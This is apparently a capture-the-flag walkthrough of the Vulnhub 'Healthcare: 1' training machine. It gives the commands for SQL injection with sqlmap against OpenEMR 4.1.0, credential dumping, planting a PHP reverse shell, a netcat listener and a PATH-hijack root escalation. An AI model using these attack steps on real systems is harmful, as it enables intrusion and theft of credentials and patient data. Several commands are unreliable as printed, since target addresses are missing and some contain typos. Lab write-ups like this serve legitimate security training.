CTF Challenges

Healthcare: 1 Vulnhub Walkthrough

Today we are going to solve another boot2root challenge called “HEALTHCARE 1”. It is developed to train student the art of penetration testing.  The credit of making this lab goes to v1n1v131r4 and lab is available for download here  healthcare-1. This is an Intermediate level machine that hosts two flags: user.txt and root.txt.

Penetration Testing Methodology


  • netdiscover
  • nmap


  • Browsing HTTP Service
  • Directory Brute force using ‘ gobuster


  • OpenEMR 4.1.0 Vulnerable to Critical SQL Injection     

Privilege Escalation

  • Privilege Escalation Using PATH Variable with SUID bin


Let’s begin scanning the network using “netdiscover” to identify the target IP address as shown below:


The target is identified to be So, it’s time to grab more information about the target by executing ‘nmap’ port enumeration command: 

nmap -A


The initial scan shows that we have port 21(FTP) and  80(HTTP) open. The web server usually has the largest attack surface, so first, let’s explore the webserver running on port 80. However, we do not get any clue as we explore in and around the page (including its sub-links and source code view)     

To further enumerate, let’s launch ‘gobuster ‘ -the directory enumeration tool to look for other web directories or hidden content which this web application may have.

gobuster dir -u -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 –e

The tool “gobuster” presents us with some directories like favicon, robots,  openemr, fonts, images etc. The “openemr” directory seems to contain a login page and revels the OpenEMR software & its installed version i.e. OpenEMR v4.1.0. A quick google search lets us know about a critical SQL injection exploit here: sql-injection-vulnerability-in-openemr 

Let’s use ‘sqlmap’  to further enumerate the database names with the following command :

sqlmap -u --dbs --batch

….and we get the list of database names as below: 

The database named ‘openemr‘ looks associated with the web-application we are exploring and hence we further enumerate the database :

sqlmap -u -D openemr -T users --dump --batch

We get two users and their respective passwords as shown here:


Now, let’s navigate to ‘openemr ‘  web application login page and use  ‘ackbar‘  credentials to login as admin

As we explore the application, we find that we can edit the config.php which is under the ‘Administrative’ tab shown below: 

We overwrite the content of config.php with PHP reverse shell  php-reverse-shell.php  and replace the IP with our Kali Linux IP as highlighted below  :

Save the above changes, start a netcat listener on kali; we get a reverse shell on after reloading the web page :

nc -lvp 1234

Now, that we have a revere shell lets upgrade it to a fully interactive TTY shell with the help of python-onliner and further go for post enumeration in order to escalate root privileges. So first we log in as medical:medical (enumerated through SQLi) and then try to identify SUID enables binaries using the find command.

python -c 'import pty; pty.spawn("/bin/bash")'
su medical
find / -perm -u=s -type f 2>/dev/null

We found SUID bit enabled for /usr/bin/healthcheck

We explore ‘healthcheck’ further using strings command and we find that it scans the system by running commands like ‘ ifconfig ‘  and  ‘ fdisk ‘  :

string /usr/bin/healthcheck

Privilege Escalation

We can use the Privilege Escalation Technique Using PATH Variable to exploit the system, read from here to know more about this :

cd /tmp
echo "bin/bash" > fdisk
chmod 777 fdisk
export PATH=/tmp:$PATH
cd /root

….and we have the root flag: cat root.txt

Cheers!! – We nailed it, hope you enjoyed it. – Happy hacking!

Author: Shrawan Kumar is an embedded systems security engineer with a decade of experience building embedded and IoT products. He can be contacted here